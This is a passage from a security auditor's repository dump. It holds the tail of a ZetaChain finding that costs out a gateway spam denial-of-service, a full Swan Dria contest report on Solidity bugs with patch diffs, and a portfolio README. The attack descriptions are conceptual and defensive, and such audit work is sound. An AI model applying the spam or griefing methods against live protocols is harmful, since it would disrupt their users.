625 | These `10K` calls will only cost the attacker `3.3$` dollars in Polygon for it to take place. Now imagine the Attackr sends `1 Million` call.
626 |
627 | ### Attack analysis
628 | Since Polygon is a Blockchain with a block gas limit, The attacker can't simply process `1 Million` call in a second.
629 |
630 | let's say the Gas for each call is `20K` instead of `18480`, So the maximum number of calls will be:
631 |
632 | 30 Million (Block gas limit) / 20K (gas for single call) = `1500` call/block.
633 |
634 | The user can call the Gateway `1500` times in a single block, and since the block is created every `2` seconds in Polygon, we will end up with these results. _Note: single call costs `0.00033$`_
635 |
636 | |Number of Calls|Num of Blocks|Time to complete (seconds)|Cost (USD)|
637 | |:--------------|:------------|:-------------------------|:---------|
638 | |1,500|1|2|0.495$|
639 | |10,000|7|14|3.3$|
640 | |100,000|67|134 (~2 min)|33$|
641 | |1,000,000|667| 1334 (~22 min)|330$|
642 | |10,000,000|6667|13334 (~3.7 hour)|3,300$|
643 |
644 | - The Attacker will be able to force ZetaChain to process `100,000` request in only 2 minutes paying only `33$`.
645 |
646 | - The Attacker can make `10` million requests within `3.7` hours, i.e the ZetaClient should be able to process `2.7` million request in an Hour to not get DoS'ed in the case of the last scenario.
647 |
648 | This will result in DoS of other users using the network as Zetachain as real transactions are in the queue waiting. and just spam message requests are the current that is getting handled by the network.
649 |
650 | ### Recommendations
651 | Take a certain fee when making `EVM -> Zeta` calls, even if a small amount, this will make the attack cost a lot for the attacker.
652 |
--------------------------------------------------------------------------------
/Contests/2024-10-swan.md:
--------------------------------------------------------------------------------
1 | # Swan Dria
2 |
3 | Swan Protoocl contest || NFTs, AI, Statistics || 25 Oct 2024 to 05 Nov 2025 on [Codehawks](https://codehawks.cyfrin.io/c/2024-10-swan-dria/results?t=leaderboard<=contest&sc=reward&sj=reward&page=1)
4 |
5 | My Finding Suppary
6 | |ID|Title|Severity|
7 | |:-:|-----|:------:|
8 | |[H‑01](#h-01-finalizevalidation-will-fail-if-standard-deviation-is-greater-than-average)|`finalizeValidation()` will fail if Standard Deviation is greater than Average|HIGH|
9 | |[H-02](#h-02-calculating-variance-will-fail-if-the-mean-is-greater-than-one-of-the-values)|Calculating `variance()` will fail if the mean is greater than one of the values|HIGH|
10 | ||||
11 | |[M‑01](#m-01-update-state-requests-or-purchase-requests-occurring-at-the-end-of-the-phase-will-not-process)|Update state requests or Purchase requests occurring at the end of the phase will not process|MEDIUM|
12 | |[M-02](#m-02-withdrawing-platform-fees-takes-validatorsgenerators-fees-as-well-as-money-paid-for-incompleted-tasks)|withdrawing platform fees takes Validators/Generators Fees, as well as money paid for incompleted tasks|MEDIUM|
13 | |[M-03](#m-03-validators-can-grief-generators-and-hurt-users-in-case-of-1-validation-only)|Validators can grief Generators and hurt users in case of `1` validation only|MEDIUM|
14 | ||||
15 | |[L-01](#l-01-tasks-with-no-validations-will-always-take-the-first-generator-result-whatever-it-was)|Tasks with no validations will always take the first generator result whatever it was|LOW|
16 |
17 | ---
18 | ## [H-01] `finalizeValidation()` will fail if Standard Deviation is greater than Average
19 |
20 | ### Description
21 | When finalizing the validation, we are rewarding only the valid validators and neglect outliers. We do this by checking that the score lies in the boundaries of the mean +/- standard deviation. This behaviour is famous in statistics to determine Outliers, etc...
22 |
23 | The problem is that we are doing the lower outliers check (mean - Standard Deviation), without checking if the Standard Deviation is smaller than mean (average) or not.
24 |
25 | [llm/LLMOracleCoordinator.sol#L343](https://github.com/Cyfrin/2024-10-swan-dria/blob/main/contracts/llm/LLMOracleCoordinator.sol#L343) | [llm/LLMOracleCoordinator.sol#L368](https://github.com/Cyfrin/2024-10-swan-dria/blob/main/contracts/llm/LLMOracleCoordinator.sol#L368)
26 | ```solidity
27 | function finalizeValidation(uint256 taskId) private {
28 | ...
29 | for (uint256 g_i = 0; g_i < task.parameters.numGenerations; g_i++) {
30 | ...
31 | for (uint256 v_i = 0; v_i < task.parameters.numValidations; ++v_i) {
32 | uint256 score = scores[v_i];
33 | >> if ((score >= _mean - _stddev) && (score <= _mean + _stddev)) { ... }
34 | }
35 | ...
36 | }
37 | ...
38 | for (uint256 g_i = 0; g_i < task.parameters.numGenerations; g_i++) {
39 | // ignore lower outliers
40 | >> if (generationScores[g_i] >= mean - generationDeviationFactor * stddev) {
41 | _increaseAllowance(responses[taskId][g_i].responder, task.generatorFee);
42 | }
43 | }
44 | }
45 | ```
46 |
47 | There are two instances here, checking lower outliers of Validators, and checking lower outliers of Generators. Both checks is not handling the case if Standard Deviation is greater than mean or not. Which will make finalization process revert if it occuar.
48 |
49 | Another thing here is that We are using Factory Formula `generationDeviationFactor`, And by increasing the generator factory we are accepting more space of errors, making the underflow issue likelihood increase.
50 |
51 | ### Recommendations
52 | Make the lower outlier boundary equal zero in case of Standard Deviation is greater than mean.
53 |
54 | ```diff
55 | diff --git a/contracts/llm/LLMOracleCoordinator.sol b/contracts/llm/LLMOracleCoordinator.sol
56 | index 1ba2176..269e8be 100644
57 | --- a/contracts/llm/LLMOracleCoordinator.sol
58 | +++ b/contracts/llm/LLMOracleCoordinator.sol
59 | @@ -340,7 +340,8 @@ contract LLMOracleCoordinator is LLMOracleTask, LLMOracleManager, UUPSUpgradeabl
60 | uint256 innerCount = 0;
61 | for (uint256 v_i = 0; v_i < task.parameters.numValidations; ++v_i) {
62 | uint256 score = scores[v_i];
63 | - if ((score >= _mean - _stddev) && (score <= _mean + _stddev)) {
64 | + uint256 lowerBoundry = _stddev <= _mean ? _mean - _stddev : 0
65 | + if ((score >= lowerBoundry) && (score <= _mean + _stddev)) {
66 | innerSum += score;
67 | innerCount++;
68 |
69 | @@ -365,7 +366,8 @@ contract LLMOracleCoordinator is LLMOracleTask, LLMOracleManager, UUPSUpgradeabl
70 | (uint256 stddev, uint256 mean) = Statistics.stddev(generationScores);
71 | for (uint256 g_i = 0; g_i < task.parameters.numGenerations; g_i++) {
72 | // ignore lower outliers
73 | - if (generationScores[g_i] >= mean - generationDeviationFactor * stddev) {
74 | + uint256 lowerBoundry = generationDeviationFactor * stddev <= mean ? mean - generationDeviationFactor * stddev : 0
75 | + if (generationScores[g_i] >= lowerBoundry) {
76 | _increaseAllowance(responses[taskId][g_i].responder, task.generatorFee);
77 | }
78 | }
79 | ```
80 |
81 | ---
82 |
83 | ## [H-02] Calculating `variance()` will fail if the mean is greater than one of the values.
84 |
85 | ### Description
86 |
87 | When calculating the Variant of a set of variants, we add the summation of the square root of the difference between each element and the Average then divide them by their number
88 |
89 | $\text{Average (}\overline{X}\text{)} = \frac{X_1 + X_2 + X_3}{3}$
90 |
91 | $\text{Variance} = \frac{(X_1 - \overline{X})^2 + (X_2 - \overline{X})^2 + ... + (X_n - \overline{X})^2}{n}$
92 |
93 | When Subtracting The element by the Average, we made a Power 2 operation, which makes the value positive even if the result was negative.
94 |
95 | The problem is that we are performing the subtraction operation first (Element - Average), and put it in `uint256`, which will make it revert because of underflow in solidity.
96 |
97 | [libraries/Statistics.sol#L22](https://github.com/Cyfrin/2024-10-swan-dria/blob/main/contracts/libraries/Statistics.sol#L22)
98 | ```solidity
99 | function variance(uint256[] memory data) internal pure returns (uint256 ans, uint256 mean) {
100 | mean = avg(data);
101 | uint256 sum = 0;
102 | for (uint256 i = 0; i < data.length; i++) {
103 | >> uint256 diff = data[i] - mean;
104 | sum += diff * diff;
105 | }
106 | ans = sum / data.length;
107 | }
108 | ```
109 |
110 | This will make calculating `variance()` always revert if one of the elements is smaller than the average.
111 |
112 | This will make `finalizeValidation()` process revert as it uses `stddev()` function that uses `variance()` functions for the scores input
113 |
114 | ### Recommendations
115 | If `Element < Avg` reverse the order of subtraction
116 |
117 | ```diff
118 | diff --git a/contracts/libraries/Statistics.sol b/contracts/libraries/Statistics.sol
119 | index 8c53643..ac713c9 100644
120 | --- a/contracts/libraries/Statistics.sol
121 | +++ b/contracts/libraries/Statistics.sol
122 | @@ -19,7 +19,7 @@ library Statistics {
123 | mean = avg(data);
124 | uint256 sum = 0;
125 | for (uint256 i = 0; i < data.length; i++) {
126 | - uint256 diff = data[i] - mean;
127 | + uint256 diff = data[i] >= mean ? data[i] - mean : mean - data[i];
128 | sum += diff * diff;
129 | }
130 | ans = sum / data.length;
131 | ```
132 |
133 | ---
134 |
135 | ## [M-01] Update state requests or Purchase requests occurring at the end of the phase will not process
136 |
137 | ### Description
138 | BuyerAgent can make two requests either `purchase` request or `StateUpdate` request.
139 |
140 | First, he should make a `BuyerAgent::oraclePurchaseRequest()` request to buy all the items he needs, then call `BuyerAgent::purchase()` after His task gets completed by Oracle coordinator to buy the items he wants.
141 |
142 | Then, in case of buying new items success he should make `BuyerAgent::oracleStateRequest()` to update his state after buying items, then call `BuyerAgent::updateState()` to change his state.
143 |
144 | The problem here is that there is no check when `BuyerAgent::oraclePurchaseRequest()` or `BuyerAgent::oracleStateRequest()` get requested. There is just a check that enforces firing both of them on a given Phase.
145 |
146 | We will explain the problem in the purchasing process, but it also existed in updating the state process.
147 |
148 | When requesting to purchase items, we check that we are at a Round that is at Buy Phase, and when doing the actual purchase the Round should be the same as the Round we call `BuyerAgent::oraclePurchaseRequest()` as well as the phase should be `Buy`.
149 |
150 | [swan/BuyerAgent.sol#L189-L195](https://github.com/Cyfrin/2024-10-swan-dria/blob/main/contracts/swan/BuyerAgent.sol#L189-L195) | [swan/BuyerAgent.sol#L222-L230](https://github.com/Cyfrin/2024-10-swan-dria/blob/main/contracts/swan/BuyerAgent.sol#L222-L230)
151 | ```solidity
152 | function oraclePurchaseRequest(bytes calldata _input, bytes calldata _models) external onlyAuthorized {
153 | // check that we are in the Buy phase, and return round
154 | >> (uint256 round,) = _checkRoundPhase(Phase.Buy);
155 |
156 | >> oraclePurchaseRequests[round] =
157 | swan.coordinator().request(SwanBuyerPurchaseOracleProtocol, _input, _models, swan.getOracleParameters());
158 | }
159 | // -------------------
160 | function purchase() external onlyAuthorized {
161 | // check that we are in the Buy phase, and return round
162 | >> (uint256 round,) = _checkRoundPhase(Phase.Buy);
163 |
164 | // check if the task is already processed
165 | uint256 taskId = oraclePurchaseRequests[round];
166 | >> if (isOracleRequestProcessed[taskId]) {
167 | revert TaskAlreadyProcessed();
168 | }
169 | }
170 | ```
171 |
172 | For `BuyerAgent::purchase()` to process, we should be at the same Round as well as at the Phas, which is `Buy` in that example, when we fired `BuyerAgent::oraclePurchaseRequest()`.
173 |
174 | the flow is as follows:
175 | 1. BuyerAgent::oraclePurchaseRequest()
176 | 2. Generators will generate output in LLM Coordinator
177 | 3. Validators will validate in LLM Coordinator
178 | 4. Task marked as completed
179 | 5. BuyerAgent::purchase()
180 |
181 | There is time will be taken for generators and validators to make the output (complete the task).
182 |
183 | So if `BuyerAgent::oraclePurchaseRequest` gets fired before the end of `Buying` Phase with little time, this will make the Buy ends and enters `Withdraw` phase before Generators and Validaotrs Complete that task, resulting in losing Fees paid by the BuyerAgent when requesting the purchase request.
184 |
185 | ### Proof of Concept
186 | - BuyerAgent wants to buy a given item
187 | - His Round is `10` and we are at the Buy phase know
188 | - The buying phase is about to end there is just one Hour left
189 | - BuyerAgent Fired `BuyerAgent::oraclePurchaseRequest()`
190 | - Fees got paid and we are waiting for the task to complete
191 | - Generators and Validators took 6 Hours to complete this task
192 | - Know, the BuyerAgent Round is `10` and the Phase is `Withdraw`
193 | - calling `BuyerAgent::purchase()` will fail as we are not in the `Buy` Phase
194 |
195 | The problem is that there is no time left for requesting and firing, if the request occur at the end of the Phase, finalizing the request either purach or update state will fail, as the phase will end.
196 |
197 | We are doing Oracle and off-chain computations for the given task, and the time to finalize (complete) a task differs from one task to another according to difficulty.
198 |
199 | There are three things here that make this problem occur.
200 | 1. If the Operator is not active, the `BuyerAgent` should call the request himself.
201 | 2. If Completing the Task process takes too much time, this can occur for Tasks that require a lot of validations, or difficulty is high
202 | 3. if there is a High Demand for a given request the Operator may finalize some of them at the end.
203 |
204 | ### Recommendations
205 | Don't allow requests for all the phase ranges.
206 |
207 | For example, In case we Have `7 days` for Buy phase, we should Stop requesting purchase requests at the end of `2 days` to not make requests occur at the last period of the phase resulting in an insolvable state if it gets completed after 2 days.
208 |
209 | This is just an example. The period to stop requested should be determined according to the task itself (num of Generators/Validators needed and its difficulty).
210 |
211 | ---
212 |
213 | ## [M-02] withdrawing platform fees takes Validators/Generators Fees, as well as money paid for incompleted tasks
214 |
215 | ### Description
216 | When doing tasks there are 3 types of fees that the caller should pay.
217 | - Platform Fees
218 | - Generator Fees
219 | - Validator Fees
220 |
221 | [llm/LLMOracleManager.sol#L110-L120](https://github.com/Cyfrin/2024-10-swan-dria/blob/main/contracts/llm/LLMOracleManager.sol#L110-L120)
222 | ```solidity
223 | function getFee(LLMOracleTaskParameters calldata parameters)
224 | public
225 | view
226 | returns (uint256 totalFee, uint256 generatorFee, uint256 validatorFee)
227 | {
228 | uint256 diff = (2 << uint256(parameters.difficulty));
229 | generatorFee = diff * generationFee;
230 | validatorFee = diff * validationFee;
231 | totalFee =
232 | platformFee + (parameters.numGenerations * (generatorFee + (parameters.numValidations * validatorFee)));
233 | }
234 | ```
235 |
236 | When taking platform Fees we are taking all money in the contract.
237 |
238 | [llm/LLMOracleCoordinator.sol#L375-L377](https://github.com/Cyfrin/2024-10-swan-dria/blob/main/contracts/llm/LLMOracleCoordinator.sol#L375-L377)
239 | ```solidity
240 | function withdrawPlatformFees() public onlyOwner {
241 | feeToken.transfer(owner(), feeToken.balanceOf(address(this)));
242 | }
243 | ```
244 |
245 | When Completing The Task using `finalizeValidation()`, or when completing tasks that require no validation. We are not sending Fees directly to the Oraacle Registry, we are increasing there allowance so that they can transfer their tokens themselves.
246 |
247 | [llm/LLMOracleCoordinator.sol#L348](https://github.com/Cyfrin/2024-10-swan-dria/blob/main/contracts/llm/LLMOracleCoordinator.sol#L348) | [llm/LLMOracleCoordinator.sol#L369](https://github.com/Cyfrin/2024-10-swan-dria/blob/main/contracts/llm/LLMOracleCoordinator.sol#L369)
248 | ```solidity
249 | function finalizeValidation(uint256 taskId) private {
250 | ...
251 | for (uint256 g_i = 0; g_i < task.parameters.numGenerations; g_i++) {
252 | ...
253 | for (uint256 v_i = 0; v_i < task.parameters.numValidations; ++v_i) {
254 | uint256 score = scores[v_i];
255 | if ((score >= _mean - _stddev) && (score <= _mean + _stddev)) {
256 | ...
257 | >> _increaseAllowance(validations[taskId][v_i].validator, task.validatorFee);
258 | }
259 | }
260 | ...
261 | }
262 | ...
263 | (uint256 stddev, uint256 mean) = Statistics.stddev(generationScores);
264 | for (uint256 g_i = 0; g_i < task.parameters.numGenerations; g_i++) {
265 | // ignore lower outliers
266 | if (generationScores[g_i] >= mean - generationDeviationFactor * stddev) {
267 | >> _increaseAllowance(responses[taskId][g_i].responder, task.generatorFee);
268 | }
269 | }
270 | }
271 | ```
272 |
273 | `finalizeValidation()` will only get fired when completeing the task. But for the caller pays the fees when calling `Coordinator::request()`, so the fees paid for tasks that didn't yet completed, will also get transfered to the Owner as PlatformFees.
274 |
275 | So in brief.
276 | - When withdrawing Platform Fees All money in the contract will get transferred to the owner.
277 | - Validators/Generators that didn't withdraw there money (have allowance), will lose their money
278 | - fees paid for tasks that didn't complete yet but are either in `PendingGeneration` or `PendingValidation`, will also get transferred to the owners.
279 |
280 | This is incorrect Fees accumulating logic, which will result in an unfair process for validators and Generators when distributing Fees.
281 |
282 | Another thing is that there is no way to know exactly what our Validadators or Generators need. Admins will have to query over all there Registered addresses, which is open to anyone. And there are no Events, nor an array that groups them. making the process literally impossible for them to pay the money they own to Validators and Generators.
283 |
284 | ### Recommendations
285 | Accumulate PlatformFees on a global variable, in addition to Fees for outliers, and when withdrawing take this value only, instead of Taking all contract balance.
286 |
287 | ---
288 | ## [M-03] Validators can grief Generators and hurt users in case of `1` validation only
289 |
290 | ### Description
291 | When requesting for tasks, the caller can determine the number of Validators that validate the generations.
292 |
293 | The validation process is done using the Standard deviation method, where the values that are far from the mean are ignored.
294 |
295 | And the score for a given generation is given by the average of the scores make by validators.
296 |
297 | The problem is That the Standard Deviation method, is not a checking mechanism to validate a small number of inputs, validating one input is non-sense, as this single validator can give any score to any generation, and no one will catch him.
298 |
299 | So in case we have `5` generations and `1` validator, and there are `1` Generator OutLier. The validator can make scores for the valid generations' mad ones, and the outlier gives him the ideal score allowing him to prevent honest generators from their rewards, as well as hurting BuyerAgent by giving the wrong response to him.
300 |
301 | Oracles are accessible to anyone, and the Validation process is made to reach what is like a consyses and detect outliers, but accepting `1` validator will make the validation process inactive, and the `2` validations also can be ineffective a all.
302 |
303 | ### Recommendations
304 | Make the number of validations either `0` if no validations, or in case of accepting validations, accept only `3` or higher.
305 |
306 | ---
307 |
308 | ## [L-01] Tasks with no validations will always take the first generator result whatever it was
309 |
310 | ### Description
311 | To get the bestResponse we compare the score for generation, and take the best score.
312 |
313 | [llm/LLMOracleCoordinator.sol#L413-L422](https://github.com/Cyfrin/2024-10-swan-dria/blob/main/contracts/llm/LLMOracleCoordinator.sol#L413-L422)
314 | ```solidity
315 | function getBestResponse(uint256 taskId) external view returns (TaskResponse memory) {
316 | ...
317 |
318 | TaskResponse storage result = taskResponses[0];
319 | uint256 highestScore = result.score;
320 | for (uint256 i = 1; i < taskResponses.length; i++) {
321 | >> if (taskResponses[i].score > highestScore) {
322 | highestScore = taskResponses[i].score;
323 | result = taskResponses[i];
324 | }
325 | }
326 |
327 | return result;
328 | }
329 | ```
330 |
331 | The `score` value in generator responses, is assigned by Validators. but for no validators for that task, all scores will be zero, making always the first generator output is the best one.
332 |
333 | This will make other generations useless, and nonsense to the task requester.
334 |
335 | ### Recommendations
336 | We think that making a task with no validations only requires one generator as it will always be the output. Or there may be another method for picking the best response at this case.
337 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Al-Qa'qa' Auditing Portfolio
2 | My audit portfolio contains the contests I participated in and my engagements in Web3 security.
3 |
4 | For private audits, check this [link](/ask-for-audit.md).
5 |
6 | ## About Al-Qa'qa'
7 | I am an Independent Web3 security researcher, focusing on Dapps, and DeFi.
8 |
9 | I am doing contests on different platforms like [Sherlock](https://www.sherlock.xyz/), and [Cantina](https://cantina.xyz/u/al-qa-qa).
10 |
11 | - Twitter: [@Al_Qa_qa](https://twitter.com/Al_Qa_qa)
12 | - Discord: [@Al_Qa_qa](https://discord.com/channels/al_qa_qa)
13 | - Telegram: [@Al_Qa_qa](https://t.me/al_qa_qa)
14 |
15 | ## Private Audits
16 |
17 | |Protocol|Scope|Description|Findings|Report|
18 | |:-------|:----|:----------|:-------|:----:|
19 | |[Khuga Labs](https://github.com/KhugaLabs)|[khugabash-smartcontract](https://github.com/KhugaLabs/khugabash-smartcontract/tree/afb2c4a8d2cec20c79d477ec3fdc004707f69478)|Gaming, NFTs|2 H, 2 M, 5 L|[📄](Solo/khuga-Labs-security-review.pdf)|
20 | |Undisclosure|Private|Escrow|None| -- |
21 | |Undisclosure|Private|Escrow|2 M, 1L| -- |
22 | |[Venice](https://x.com/askvenice)|Private|ERC20, Staking|3 H, 2 M|[📄](Solo/Venice-security-review.pdf)|
23 | |[DYAD](https://www.dyadstable.xyz/)|[TimeLock](https://github.com/DyadStablecoin/contracts/tree/84f8337d024ebf289e102f352fdb14b5fccc9418)|TimeLock, Staking Rewards|2 M|[📄](Solo/Dyad-TimeLock-security-review.pdf)|
24 | |[TakaDAO](https://takadao.io/)|[ReferralGateway](https://github.com/TakafulDAO/takasure.sc/tree/986e61d7e25209e675bf86dbf2edbf871c052247)|DAOs, Referral System|3 H, 4 M, 4 L|[📄](Solo/TakaDAO-referralGateway-security-review.pdf)|
25 | |[DYAD](https://www.dyadstable.xyz/)|[LpStaking](https://github.com/DyadStablecoin/contracts/tree/b76cf79afdb2c68bc4f432597c593ab9a29a65b4)|Staking, Transit Storage|2 H, 1 M, 3 L|[📄](Solo/Dyad-LpStaking-security-review.pdf)|
26 | |[DYAD](https://www.dyadstable.xyz/)|[DyadXPv2](https://github.com/DyadStablecoin/contracts/tree/973cb961198890449e0a80b4be4065dccff0abc0)|Staking, UniswapV3 integration|1 H, 1 M, 2 L| [📄](Solo/DyadXPv2-security-review.pdf)|
27 | |[DYAD](https://www.dyadstable.xyz/)|[VaultManagerV5](https://github.com/DyadStablecoin/contracts/tree/7a7229a83f6e8ffddf2a303a41aa80c70fe44642)|Stablecoin, Hooks|1 H, 1 M, 2 L| [📄](Solo/Dyad-VaultManagerV5-security-review.pdf)|
28 | |[DYAD](https://www.dyadstable.xyz/)|[weETH Vault](https://github.com/DyadStablecoin/contracts/tree/c230ef5b2cb6c3b6e60081f32d78b034a7a410cb)|Vault, weETH token|1 M|[📄](Solo/DYAD-weETH-security-review.pdf)|
29 | |[DYAD](https://www.dyadstable.xyz/)|[DyadXP](https://github.com/DyadStablecoin/contracts/tree/a8245ea3671dfada7bd3845f2862f384a9294066)|Staking, Time-Weighted token|2 H, 3 M, 3 L|[📄](Solo/DyadXP-security-review.pdf)|
30 | |[DYAD](https://www.dyadstable.xyz/)|[VaultManagerV3](https://github.com/DyadStablecoin/contracts/tree/3ddcbcc7616ba6cacef4f381c90bda6b8f2245d4)|Stablecoin|2 H, 3 M, 2 L|[📄](Solo/DYAD-VaultManagerV3-security-review.pdf)|
31 |
32 |
33 | ## Engagments
34 | |Company|Protocol|Description|Findings|Report|
35 | |:------|:-------|:----------|:-------|:----:|
36 | |[Cyfrin](https://www.cyfrin.io/)|[MetaMask](https://metamask.io/)|Account Abstraction, Delegations Modules|1 H, 2 M, 5 L|[📄](engagments/2025-03-18-cyfrin-Metamask-DelegationFramework1-v2.0.pdf)|
37 |
38 |
39 |
40 | ## Highlights
41 | |Contest|Description|Findings|Rank|Report|
42 | |:------|:----------|:-------|:--:|:----:|
43 | |[Soon](https://cantina.xyz/competitions/08c2b0b4-8449-4136-82a2-7074ccdfffac/leaderboard)|SVM, layer2, OP Stack|[4 H, 10 M, 3 L](Contests/2024-12-soon.md)|🥇| - |
44 | |[Ark Bridge](https://codehawks.cyfrin.io/c/2024-07-ark-project/results?lt=contest&sc=reward&sj=reward&page=1&t=leaderboard)|NFT Bridge, Starknet|[5 H, 3 M, 5 L](Contests/2024-07-atkBridge.md)|🥇| [📄](https://codehawks.cyfrin.io/c/2024-07-ark-project/results?lt=contest&sc=reward&sj=reward&page=1&t=report)|
45 | |[Intuition](https://app.hats.finance/audit-competitions/intuition-0x538dbadc50cc87b281cd655f1edbc6ebda02a66a/leaderboard)|Account Abstraction, Vaults|[2 L](Contests/2024-06-Intuition.md)|🥇| [📄](https://app.hats.finance/audit-competitions/intuition-0x538dbadc50cc87b281cd655f1edbc6ebda02a66a/submissions)|
46 | |[UniStaker](https://code4rena.com/audits/2024-02-unistaker-infrastructure#top)|Staking, Voting|[5 L](Contests/2024-02-unistaker.md)|🥈| [📄](https://code4rena.com/reports/2024-02-uniswap-foundation)|
47 | |[RadicalxChange](https://audits.sherlock.xyz/contests/191)|NFTs, Auction, Diamond Proxy|[1 H, 1 M](Contests/2024-03-radicalxChange.md)|🥈|[📄](https://audits.sherlock.xyz/contests/191/report)|
48 | |[PoolTogethar](https://code4rena.com/audits/2024-03-pooltogether)|Vaults, ERC4626|[1 H, 2 M, 3 L](Contests/2024-03-poolTogether.md)|🥉️|[📄](https://code4rena.com/reports/2024-03-pooltogether)|
49 | |[Zetachain](https://cantina.xyz/competitions/80a33cf0-ad69-4163-a269-d27756aacb5e/leaderboard)|Layer1, Cross Chain, Omnichain|[2 H, 6 M](Contests/2024-08-zetachain.md)|🥉️| - |
50 |
51 | ## Audit Contests
52 | |Contest|Description|Findings|Rank|Report|
53 | |:------|:----------|:-------|:--:|:----:|
54 | |[Optimism InterOP](https://cantina.xyz/competitions/44b385bf-e51a-4e6c-b3a8-adbbe24d16e1)|Layer2, OP stack|1 L|5th| - |
55 | |[Farcaster](https://cantina.xyz/competitions/f9326d2b-bb99-45a9-88c5-94c54aa1823a/leaderboard)|EAS, Social Network|5 H, 2 M, 9 L|6th| - |
56 | |[Soon](https://cantina.xyz/competitions/08c2b0b4-8449-4136-82a2-7074ccdfffac/leaderboard)|SVM, layer2, OP Stack|[4 H, 10 M, 3 L](Contests/2024-12-soon.md)|🥇| - |
57 | |[Swan Protocol](https://codehawks.cyfrin.io/c/2024-07-ark-project/results?lt=contest&sc=reward&sj=reward&page=1&t=leaderboard)|NFTs, AI, Statistics|[2 H, 3 M, 1 L](/Contests/2024-10-swan.md)|7th| [📄](https://codehawks.cyfrin.io/c/2024-10-swan-dria/results?t=report<=contest&sc=reward&sj=reward&page=1)|
58 | |[Zetachain](https://cantina.xyz/competitions/80a33cf0-ad69-4163-a269-d27756aacb5e/leaderboard)|Layer1, Cross Chain, Omnichain|[2 H, 6 M](Contests/2024-08-zetachain.md)|🥉️| - |
59 | |[Ark Bridge](https://codehawks.cyfrin.io/c/2024-07-ark-project/results?lt=contest&sc=reward&sj=reward&page=1&t=leaderboard)|NFT Bridge, Starknet|[5 H, 3 M, 5 L](Contests/2024-07-atkBridge.md)|🥇| [📄](https://codehawks.cyfrin.io/c/2024-07-ark-project/results?lt=contest&sc=reward&sj=reward&page=1&t=report)|
60 | |[Intuition](https://app.hats.finance/audit-competitions/intuition-0x538dbadc50cc87b281cd655f1edbc6ebda02a66a/leaderboard)|Account Abstraction, Vaults|[2 L](Contests/2024-06-Intuition.md)|🥇| [📄](https://app.hats.finance/audit-competitions/intuition-0x538dbadc50cc87b281cd655f1edbc6ebda02a66a/submissions)|
61 | |[Optimism-Safe](https://cantina.xyz/leaderboard/d47f8096-8858-437d-a9f5-2fe85ac9b95e)|MultiSig, Safe Wallet|[1 M, 1 L](Contests/2024-05-optimism-safe.md)|15th|[📄](https://cantina.xyz/portfolio/1b6a9e55-49a8-46e9-8272-a849fd60fcc4)|
62 | |[DYAD](https://code4rena.com/audits/2024-04-dyad#top)|Stablecoin|[3 H, 3 M, 6L](Contests/2024-04-dyad.md)|4th|[📄](https://code4rena.com/reports/2024-04-dyad)|
63 | |[RadicalxChange](https://audits.sherlock.xyz/contests/191)|NFTs, Auction, Diamond Proxy|[1 H, 1 M](Contests/2024-03-radicalxChange.md)|🥈|[📄](https://audits.sherlock.xyz/contests/191/report)|
64 | |[PoolTogethar](https://code4rena.com/audits/2024-03-pooltogether)|Vaults, ERC4626|[1 H, 2 M, 3 L](Contests/2024-03-poolTogether.md)|🥉️|[📄](https://code4rena.com/reports/2024-03-pooltogether)|
65 | |[UniStaker](https://code4rena.com/audits/2024-02-unistaker-infrastructure#top)|Staking, Voting|[5 L](Contests/2024-02-unistaker.md)|🥈| [📄](https://code4rena.com/reports/2024-02-uniswap-foundation)|
66 | |[Covelant](https://audits.sherlock.xyz/contests/127)|Staking, Nodes Block Producers|[1 M](Contests/2024-01-covalent.md)|15th|[📄](https://audits.sherlock.xyz/contests/127/report)|
67 | |[ZetaChain](https://code4rena.com/audits/2023-11-zetachain#top)|L1, OmniChain, Cross-chain|[1 H, 11 L](Contests/2023-11-zetachain.md)|11th| [📄](https://code4rena.com/reports/2023-11-zetachain) |
68 | |[NextGen](https://code4rena.com/audits/2023-10-nextgen#top)|NFTs, Airdrops|[3 H, 1 M](Contests/2023-10-nextgen.md)|43th|[📄](https://code4rena.com/reports/2023-10-nextgen)|
69 | |[OpenDollar](https://code4rena.com/audits/2023-10-open-dollar#top)|Stable Coin|[2 L](Contests/2023-10-opendollar.md)|75th|[📄](https://code4rena.com/reports/2023-10-opendollar)|
70 |
71 |
72 | ## OpenSource Projects
73 |
74 | - [OpenZeppelin Ethernauts CTF Solutions using Foundry](https://github.com/Al-Qa-qa/ethernaut-solutions-foundry)
75 | - [Web3 Security Tutorial | Bank Challenge](https://github.com/Al-Qa-qa/bank-web3-security-tutorial)
76 |
--------------------------------------------------------------------------------
/Solo/DYAD-VaultManagerV3-security-review.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Al-Qa-qa/audits/cb3ada07cb7c8a6c0be3bd54ee74c729a44285be/Solo/DYAD-VaultManagerV3-security-review.pdf
--------------------------------------------------------------------------------
/Solo/DYAD-weETH-security-review.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Al-Qa-qa/audits/cb3ada07cb7c8a6c0be3bd54ee74c729a44285be/Solo/DYAD-weETH-security-review.pdf
--------------------------------------------------------------------------------
/Solo/Dyad-LpStaking-security-review.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Al-Qa-qa/audits/cb3ada07cb7c8a6c0be3bd54ee74c729a44285be/Solo/Dyad-LpStaking-security-review.pdf
--------------------------------------------------------------------------------
/Solo/Dyad-TimeLock-security-review.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Al-Qa-qa/audits/cb3ada07cb7c8a6c0be3bd54ee74c729a44285be/Solo/Dyad-TimeLock-security-review.pdf
--------------------------------------------------------------------------------
/Solo/Dyad-VaultManagerV5-security-review.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Al-Qa-qa/audits/cb3ada07cb7c8a6c0be3bd54ee74c729a44285be/Solo/Dyad-VaultManagerV5-security-review.pdf
--------------------------------------------------------------------------------
/Solo/DyadXP-security-review.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Al-Qa-qa/audits/cb3ada07cb7c8a6c0be3bd54ee74c729a44285be/Solo/DyadXP-security-review.pdf
--------------------------------------------------------------------------------
/Solo/DyadXPv2-security-review.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Al-Qa-qa/audits/cb3ada07cb7c8a6c0be3bd54ee74c729a44285be/Solo/DyadXPv2-security-review.pdf
--------------------------------------------------------------------------------
/Solo/README.md:
--------------------------------------------------------------------------------
1 | # Private Security Reviews Made by Al'Qa'qa
2 |
--------------------------------------------------------------------------------
